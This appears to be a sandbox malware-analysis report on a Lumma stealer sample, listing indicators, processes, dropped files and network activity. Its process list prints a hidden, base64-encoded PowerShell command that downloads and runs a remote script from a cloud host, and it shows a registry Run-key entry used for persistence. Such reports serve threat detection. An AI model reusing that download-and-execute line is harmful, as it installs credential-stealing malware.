File name:

pow.txt

Full analysis: https://app.any.run/tasks/d8096299-f5d0-43c6-8e1e-d1906fe344a6
Verdict: Malicious activity
Threats:

Lumma is an information stealer, developed using the C programming language. It is offered for sale as a malware-as-a-service, with several plans available. It usually targets cryptocurrency wallets, login credentials, and other sensitive information on a compromised system. The malicious software regularly gets updates that improve and expand its functionality, making it a serious stealer threat.

Malware Trends Tracker     >>>
Analysis date: November 23, 2024, 23:06:28
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
stealer
lumma
Indicators:
MIME: text/plain
File info: ASCII text, with no line terminators
MD5:

77321981298D1CA195E97508A6FE31DD

SHA1:

E6DBB5CF33882A1FBC69479F44F3AD2085A68025

SHA256:

274FE6D861878DAA6F04F77978BD258839F4CCFA25C0C46AB38AFA59EF8DFA96

SSDEEP:

6:nHCSKfBKBM3S1RpTCsu2xKtBUs76NOctnyeAz9NfMF/H:nihfBaIS1fC26Us7TctPAz9NfE/H

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6892)
      • powershell.exe (PID: 6920)

    • Modifies registry (POWERSHELL)

      • powershell.exe (PID: 6920)

    • LUMMA has been detected (YARA)

      • msiexec.exe (PID: 848)

    • Steals credentials from Web Browsers

      • msiexec.exe (PID: 848)

    • Actions looks like stealing of personal data

      • msiexec.exe (PID: 848)

  • SUSPICIOUS

    • Possibly malicious use of IEX has been detected

      • cmd.exe (PID: 6780)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 6780)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6920)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 6920)

    • Extracts files to a directory (POWERSHELL)

      • powershell.exe (PID: 6920)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 6920)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 6920)
      • mdnsresponder.exe (PID: 7104)

    • Process drops legitimate windows executable

      • powershell.exe (PID: 6920)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 6920)

    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 6920)

    • Process drops SQLite DLL files

      • powershell.exe (PID: 6920)
      • mdnsresponder.exe (PID: 7104)

    • Starts application with an unusual extension

      • mdnsresponder.exe (PID: 7104)

  • INFO

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 5588)

    • Manual execution by a user

      • cmd.exe (PID: 6780)

    • Disables trace logs

      • powershell.exe (PID: 6920)

    • Checks proxy server information

      • powershell.exe (PID: 6920)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 6920)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 6920)

    • The executable file from the user directory is run by the Powershell process

      • mdnsresponder.exe (PID: 7104)

    • The process uses the downloaded file

      • powershell.exe (PID: 6920)

    • Checks supported languages

      • mdnsresponder.exe (PID: 7104)
      • more.com (PID: 7156)

    • Reads the computer name

      • mdnsresponder.exe (PID: 7104)
      • more.com (PID: 7156)

    • Creates files or folders in the user directory

      • mdnsresponder.exe (PID: 7104)

    • Create files in a temporary directory

      • mdnsresponder.exe (PID: 7104)
      • more.com (PID: 7156)

    • Reads the software policy settings

      • msiexec.exe (PID: 848)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
137
Monitored processes
9
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start notepad.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe mdnsresponder.exe more.com no specs conhost.exe no specs #LUMMA msiexec.exe

Process information

PID
CMD
Path
Indicators
Parent process
848C:\WINDOWS\SysWOW64\msiexec.exeC:\Windows\SysWOW64\msiexec.exe
more.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\temp\cmblb
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
5588"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\pow.txtC:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
6780"C:\WINDOWS\system32\cmd.exe" C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\wldp.dll
6788\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6892PowerShell.exe "-w HiDden "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbmV3NjQub3NzLWFwLXNvdXRoZWFzdC0xLmFsaXl1bmNzLmNvbS9HcUhRV05Ndi50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
6920PowerShell.exe -w HiDden "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbmV3NjQub3NzLWFwLXNvdXRoZWFzdC0xLmFsaXl1bmNzLmNvbS9HcUhRV05Ndi50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7104"C:\Users\admin\AppData\Roaming\YrsbtdxL\mdnsresponder.exe" C:\Users\admin\AppData\Roaming\YrsbtdxL\mdnsresponder.exe
powershell.exe
User:
admin
Company:
iTop Inc.
Integrity Level:
MEDIUM
Description:
iTop Data Recovery Service
Exit code:
1
Version:
4.0.0.168
Modules
Images
c:\users\admin\appdata\roaming\yrsbtdxl\mdnsresponder.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\oleaut32.dll
7156C:\WINDOWS\SysWOW64\more.comC:\Windows\SysWOW64\more.com—mdnsresponder.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
More Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\more.com
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\ulib.dll
7164\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—more.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
6 548
Read events
6 547
Write events
1
Delete events
0

Modification events

(PID) Process:(6920) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:NetUtilityApp
Value:
C:\Users\admin\AppData\Roaming\YrsbtdxL\mdnsresponder.exe
Executable files
78
Suspicious files
7
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
6920powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\HEIC-NET.dllexecutable
MD5:F71EAB315B80F78427311034A6BB46E2
SHA256:4F27E6E32F1DFF1BC6B0F4E79B32A07DA5554844CE4820A7920E5107C67F2F40
6920powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_aopk1rjc.faj.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6920powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\HtmlRenderer.dllexecutable
MD5:5CBE9851C19E0E20E503C5445A362BD4
SHA256:DB83DF8E7C877FFB0916C14C9AD6D31FD4C27CAA8CF70FEE780F6FEE15A81640
6920powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\Manifest-Operations-Shared.dllexecutable
MD5:974953859D720C9ADF8827E9EE70575D
SHA256:E52B25435D9F626750A2B2DBE31918CD7A32C66809BA2CD50D92E12C9AF8D0E4
6920powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\HEIC_DLL_v142.dllexecutable
MD5:A706480C10F094BBCE144E92A48A9E63
SHA256:27D4A7C49206D81B0BCDBD2922C0A1BC36177ECB315041233126B654A78A8A86
6920powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\Microsoft.AppCenter.Analytics.dllexecutable
MD5:06C46082C5D357EABCA5698946BDDF19
SHA256:52591E162196D5EB495E9530A0334A72D940EFA977881B31EF4A399BB275E13B
6920powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\HtmlRenderer.PdfSharp.dllexecutable
MD5:F8730360B74E1FBFD46B6EC8E4209ACC
SHA256:BDDC95E5EED0A68A54FCF2DFA99548642966DFDBF9B91940FF028E1EBF0ACDBD
6920powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\Microsoft.Web.WebView2.Core.dllexecutable
MD5:28C6A96591A4890D33DEAA7DBABEBF10
SHA256:6E7B8869B538417CC361C97A37F7CEEC92DDC8AD84E0585BCF7021DABBF6F985
6920powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\Microsoft.AppCenter.dllexecutable
MD5:DC07B593904DB4B5B6D54DCBBBFA99EF
SHA256:3313F9C5A9788A0C70B7418F81DEC119C7E95D563B316E48B6A1FBA8C94FE7AF
6920powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\mdnsresponder.exeexecutable
MD5:EC539C4A9C60B3690FBD891E19333362
SHA256:1D60149CE640F4E07BCEEB8940950441025277F1EBA4F501F8AFE558030B34FE
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
55
DNS requests
28
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
184.24.77.35:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
whitelisted
5544
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6548
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
6548
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2324
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
184.24.77.35:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5064
SearchApp.exe
104.126.37.130:443
www.bing.com
Akamai International B.V.
DE
whitelisted
5064
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1176
svchost.exe
20.190.159.64:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 4.231.128.59
whitelisted
crl.microsoft.com
  • 184.24.77.35
  • 184.24.77.37
whitelisted
www.microsoft.com
  • 184.30.21.171
  • 88.221.169.152
whitelisted
www.bing.com
  • 104.126.37.130
  • 104.126.37.170
  • 104.126.37.185
  • 104.126.37.162
  • 104.126.37.178
  • 104.126.37.154
  • 104.126.37.145
  • 104.126.37.131
  • 104.126.37.128
whitelisted
google.com
  • 172.217.16.206
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 20.190.159.64
  • 20.190.159.71
  • 20.190.159.4
  • 40.126.31.73
  • 40.126.31.69
  • 20.190.159.68
  • 40.126.31.71
  • 20.190.159.0
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
r.bing.com
  • 104.126.37.154
  • 104.126.37.137
  • 104.126.37.155
  • 104.126.37.160
  • 104.126.37.144
  • 104.126.37.153
  • 104.126.37.147
  • 104.126.37.139
  • 104.126.37.145
whitelisted
fp.msedge.net
  • 204.79.197.222
whitelisted

Threats

PID
Process
Class
Message
2192
svchost.exe
Misc activity
ET INFO DNS Query to Alibaba Cloud CDN Domain (aliyuncs .com)
6920
powershell.exe
Misc activity
ET INFO Observed Alibaba Cloud CDN Domain (aliyuncs .com in TLS SNI)
No debug info
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Reports
pow.txt